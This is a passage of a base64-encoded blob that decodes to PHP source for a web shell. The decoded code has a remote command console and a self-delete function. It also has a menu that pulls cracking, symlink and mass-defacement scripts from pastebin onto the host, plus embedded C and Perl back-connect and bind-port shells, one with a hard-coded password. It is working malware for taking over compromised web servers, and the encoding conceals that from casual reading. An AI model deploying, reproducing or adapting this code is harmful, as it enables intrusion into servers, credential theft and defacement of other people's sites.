ApCiAgICAgICAgZWNobyAnPHByZSBjbGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuJHRlbXAuJzwvcHJlPic7CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLmNtZC52YWx1ZT0nJztcbiI7CiAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsKICAgICAgICBpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpICAgIHsKICAgICAgICAgICAgaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsKICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsKICAgICAgICAgICAgICAgIGVjaG8gImRvY3VtZW50Lm1mLmMudmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOwogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBwcmludEhlYWRlcigpOwoKZWNobyAnPHNjcmlwdD4KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsKdmFyIGNtZHMgPSBuZXcgQXJyYXkoIiIpOwp2YXIgY3VyID0gMDsKZnVuY3Rpb24ga3AoZSkgewogICAgdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7CiAgICBpZihuID09IDM4KSB7CiAgICAgICAgY3VyLS07CiAgICAgICAgaWYoY3VyPj0wKQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgZWxzZQogICAgICAgICAgICBjdXIrKzsKICAgIH0gZWxzZSBpZihuID09IDQwKSB7CiAgICAgICAgY3VyKys7CiAgICAgICAgaWYoY3VyIDwgY21kcy5sZW5ndGgpCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIGN1ci0tOwogICAgfQp9CmZ1bmN0aW9uIGFkZChjbWQpIHsKICAgIGNtZHMucG9wKCk7CiAgICBjbWRzLnB1c2goY21kKTsKICAgIGNtZHMucHVzaCgiIik7CiAgICBjdXIgPSBjbWRzLmxlbmd0aC0xOwp9Cjwvc2NyaXB0Pic7CiAgICBlY2hvICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGRvY3VtZW50LmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkb2N1bWVudC5jZi5vdXRwdXQudmFsdWU9XCdcJztkb2N1bWVudC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsKICAgIGZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgewogICAgICAgIGlmKCR2ID09ICcnKSB7CiAgICAgICAgICAgIGVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsKICAgIH0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKICAgIGVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO2lmKGRvY3VtZW50LmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO31lbHNle2cobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9IiB2YWx1ZT0iPj4iPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDsiIHJlYWRvbmx5Pic7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSkpOwogICAgfQogICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXItdG9wOjE7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+JzsKICAgIGVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmRvY3VtZW50LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7CiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsKICAgIGVjaG8gJzx0aXRsZT5HZXQgb3V0IE5vdzwvdGl0bGU+PGJvZHkgYmdjb2xvcj0jMDAwMDAwPjxjZW50ZXI+PGltZyBzcmM9Imh0dHBzOi8vcHJldmlldy5pYmIuY28vaWZFcU5kL3poYXhvci5qcGciPjxicj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj5ib2R5LCBhOmhvdmVyIHtjdXJzb3I6IHVybChodHRwOi8vY3VyLmN1cnNvcnMtNHUubmV0L2N1cnNvcnMvY3VyLTExL2N1cjEwNTQuY3VyKSwgcHJvZ3Jlc3MgIWltcG9ydGFudDt9PC9zdHlsZT48YSBocmVmPSJodHRwOi8vd3d3LmN1cnNvcnMtNHUuY29tL2N1cnNvci8yMDEyLzAyLzExL2Nocm9tZS1wb2ludGVyLmh0bWwiIHRhcmdldD0iX2JsYW5rIiB0aXRsZT0iQ2hyb21lIFBvaW50ZXIiPjxpbWcgc3JjPSJodHRwOi8vY3VyLmN1cnNvcnMtNHUubmV0L2N1cnNvci5wbmciIGJvcmRlcj0iMCIgYWx0PSJDaHJvbWUgUG9pbnRlciIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IDBweDsgcmlnaHQ6IDBweDsiIC8+PC9hPgo8c3BhbiBzdHlsZT0iY29sb3I6cmVkO2ZvbnQ6IDIwcHQgYXVkaW93aWRlOyI+WW91ciBhcmUgb3V0IG5vdyA6RDxicj53d3cuZmFjZWJvb2suY29tL1ogSGFveHJwYXRoYW48L2gyPjwvc3Bhbj48L2NlbnRlcj48L2JvZHk+JzsKfQoKZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpIHsKICAgICAgICBpZihAdW5saW5rKFNFTEZfUEFUSCkpCiAgICAgICAgICAgIGRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOwogICAgICAgIGVsc2UKICAgICAgICAgICAgZWNobyAndW5saW5rIGVycm9yISc7CiAgICB9CiAgICBlY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9Ci8vL215IGVkaXRpbmcgc3RhcnQgaGVyZSBmb3IgdG9vbHMKICAgIGZ1bmN0aW9uIGRvd25sb2FkX3JlbW90ZV9maWxlKCRmaWxlX3VybCwgJHNhdmVfdG8pCiAgICB7CiAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV91cmwpOwoKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkc2F2ZV90bywgJGNvbnRlbnQpOwoKICAgIH0KICAgIGlmIChpc3NldCgkX1BPU1RbJ2RoYW51c2gnXSkpIHsKICAgICAgICBkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9VTlucUVnUk4nLCByZWFscGF0aCgiLi8iKSAuICcvZGhhbnVzaC5waHAnKTsKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOmRoYW51c2gucGhwIik7CgogICAgfSAKICAgIGlmIChpc3NldCgkX1BPU1RbJ1N5bWxpbmtieVogSGFveHInXSkpIHsKICAgICAgICBkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9UGhTazdLdnEnLCByZWFscGF0aCgiLi8iKSAuICcvU3ltbGlua2J5WiBIYW94ci5waHAnKTsKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOlN5bWxpbmtieVogSGFveHIucGhwIik7CiAgIAogICAgfQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ1N5bWxpbmtieUNoZWV0YWgnXSkpIHsKICAgICAgICBkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9RVhlamdBTXYnLCByZWFscGF0aCgiLi8iKSAuICcvU3ltbGlua2J5Q2hlZXRhaC5waHAnKTsKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOlN5bWxpbmtieUNoZWV0YWgucGhwIik7CiAgIAogICAgfQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ1N5bWxpbmtieVRvcmphbiddKSkgewogICAgICAgIGRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT1ZVWc0cFhlMicsIHJlYWxwYXRoKCIuLyIpIC4gJy9zeW0ucHknKTsKICAgICAgICBlY2hvICI8c2NyaXB0PmFsZXJ0KCdTY3JpcHQgaXMgaGVyZSAvc3ltLnB5IGV4ZWN1dGUgaXQgZnJvbSB0aGVyZS5UeXBlIGluIGNvbnNvbGUgKFB5dGhvbiBzeW0ucHkpJyk8L3NjcmlwdD4iOwogICAgICAgIAogICAKICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydDcGFuZWxDcmFja2VyJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPXpZeHNQME1IJywgcmVhbHBhdGgoIi4vIikgLiAnL0NwYW5lbENyYWNrZXIucGhwJyk7CiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpDcGFuZWxDcmFja2VyLnBocCIpOwogICAKICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydEYmxvZ2luJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPVE1Mkc5a2pKJywgcmVhbHBhdGgoIi4vIikgLiAnL0RibG9naW4ucGhwJyk7CiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpEYmxvZ2luLnBocCIpOwogICAKICAgIH0KICAgIGlmIChpc3NldCgkX1BPU1RbJ0NwYW5lbGtieUd1amphciddKSkgewogICAgICAgIGRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT1OTTlTRDliVicsIHJlYWxwYXRoKCIuLyIpIC4gJy9DcGFuZWxrYnlHdWpqYXIucGhwJyk7CiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpDcGFuZWxrYnlHdWpqYXIucGhwIik7CiAgIAogICAgfQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2IzNzRrJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPTFpRFpmalo5JywgcmVhbHBhdGgoIi4vIikgLiAnL2IzNzRrLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246YjM3NGsucGhwIik7CiAgIAogICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydab25laE1hc3NQb3N0ZXInXSkpIHsKICAgICAgICBkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9bURYblNuajInLCByZWFscGF0aCgiLi8iKSAuICcvWm9uZWhNYXNzUG9zdGVyLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246Wm9uZWhNYXNzUG9zdGVyLnBocCIpOwogICAKICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ1dobWNzJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPUswS1FXVUNrJywgcmVhbHBhdGgoIi4vIikgLiAnL1dobWNzLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246V2htY3MucGhwIik7CiAgIAogICAgfQoKCgoKCgpmdW5jdGlvbiBhY3Rpb25JbXBvcnRTY3JpcHRzKCkgewogICAgcHJpbnRIZWFkZXIoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0iMXB4IiBhbGlnbj0iY2VudGVyIiBpZCA9IlogSGFveHJ0b29scyIgY2VsbHBhZGRpbmc9IjEwIiBib3JkZXItY29sb3IiZ3JlZW4iPjx0cj48dGQ+SnVzdCBjbGljayBhbmQgZ2V0IHRoZSBTY3JpcHQgOikuPC90ZD48dHI+PHRkPgo8Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImRoYW51c2giICAgICAgICAgICAgICB2YWx1ZSA9IkRoYW51c2ggU2hlbGwiPjwvdGQ+PC90cj4nOwplY2hvICc8dGQ+PGZvcm0gYWN0aW9uID0iIiAgICAgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9IlN5bWxpbmtieVogSGFveHIiICAgICAgIHZhbHVlID0iU3ltbGluayBTY3JpcHQgQnkgWiBIYW94ciI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9IlN5bWxpbmtieUNoZWV0YWgiICAgICB2YWx1ZSA9IlN5bWxpbmsgQnkgS2FzaG1pcmkgQ2hlZXRhaCI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9IlN5bWxpbmtieVRvcmphbiIgICAgICB2YWx1ZSA9IlN5bWxpbmsgUHl0aG9uIFNjcmlwdCBCeSBUb3JqYW4iPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJDcGFuZWxDcmFja2VyIiAgICAgICAgdmFsdWUgPSJDcGFuZWwgQ3JhY2tlciI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9IkRibG9naW4iICAgICAgICAgICAgICB2YWx1ZSA9IkRhdGFiYXNlIExvZ2luIFNjcmlwdCI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9IkNwYW5lbGtieUd1amphciIgICAgICB2YWx1ZSA9Ikd1amphciBQY3AgQ3BhbmVsIENyYWNrZXIiPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJiMzc0ayIgICAgICAgICAgICAgICAgIHZhbHVlID0iYjM3NGsgU2hlbGwiPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJab25laE1hc3NQb3N0ZXIiICAgICAgIHZhbHVlID0iWm9uZS1oIE1hc3MgUG9zdGVyIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iV2htY3MiICAgICAgICAgICAgICAgICB2YWx1ZSA9IldITUNTIEtJTExFUiBWMyI+PC9hPjwvdGQ+PC90cj4nOwoKCgoKCiAgICAKICAgIHByaW50Rm9vdGVyKCk7Cn0KCgpmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgICRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsKICAgICRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOwogICAgJGJpbmRfcG9ydF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdSc2FXSXVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ29xWVhKbmRpa2dldzBLSUNBZ0lHbHVkQ0J6TEdNc2FUc05DaUFnSUNCamFHRnlJSEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCeU93MEtJQ0FnSUdSaFpXMXZiaWd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiMk5yWlhRb1FVWmZTVTVGVkN4VFQwTkxYMU5VVWtWQlRTd3dLVHNOQ2lBZ0lDQnBaaWdoY3lrZ2NtVjBkWEp1SUMweE93MEtJQ0FnSUhJdWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2NpNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lDQWdJSEl1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3RFFvZ0lDQWdZbWx1WkNoekxDQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BKbklzSURCNE1UQXBPdzBLSUNBZ0lHeHBjM1JsYmloekxDQTFLVHNOQ2lBZ0lDQjNhR2xzWlNneEtTQjdEUW9nSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DaUFnSUNBZ0lDQWdaSFZ3TWloakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFFvZ0lDQWdJQ0FnSUdSMWNESW9ZeXd5S1RzTkNpQWdJQ0FnSUNBZ2QzSnBkR1VvWXl3aVVHRnpjM2R2Y21RNklpdzVLVHNOQ2lBZ0lDQWdJQ0FnY21WaFpDaGpMSEFzYzJsNlpXOW1LSEFwS1RzTkNpQWdJQ0FnSUNBZ1ptOXlLR2s5TUR0cFBITjBjbXhsYmlod0tUdHBLeXNwRFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdnS0hCYmFWMGdQVDBnSjF4dUp5a2dmSHdnS0hCYmFWMGdQVDBnSjF4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJiYVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFppQW9jM1J5WTIxd0tHRnlaM1piTWwwc2NDa2dQVDBnTUNrTkNpQWdJQ0FnSUNBZ0lDQWdJSE41YzNSbGJTZ2lMMkpwYmk5emFDQXRhU0lwT3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkNpQWdJQ0I5RFFwOSI7CiAgICAkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7CiAgICAKICAgIGVjaG8gJzxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPVwnbmZwXCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMucGFzcy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+CiAgICA8YnIgLz48c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgogICAgUG9ydDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3BvcnRcJyB2YWx1ZT1cJzQ0M1wnPiBQYXNzd29yZDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3Bhc3NcJyB2YWx1ZT1cJ1Bha2lzdGFuIEhheG9yc1wnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JwY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYnBwXCc+UGVybDwvb3B0aW9uPjw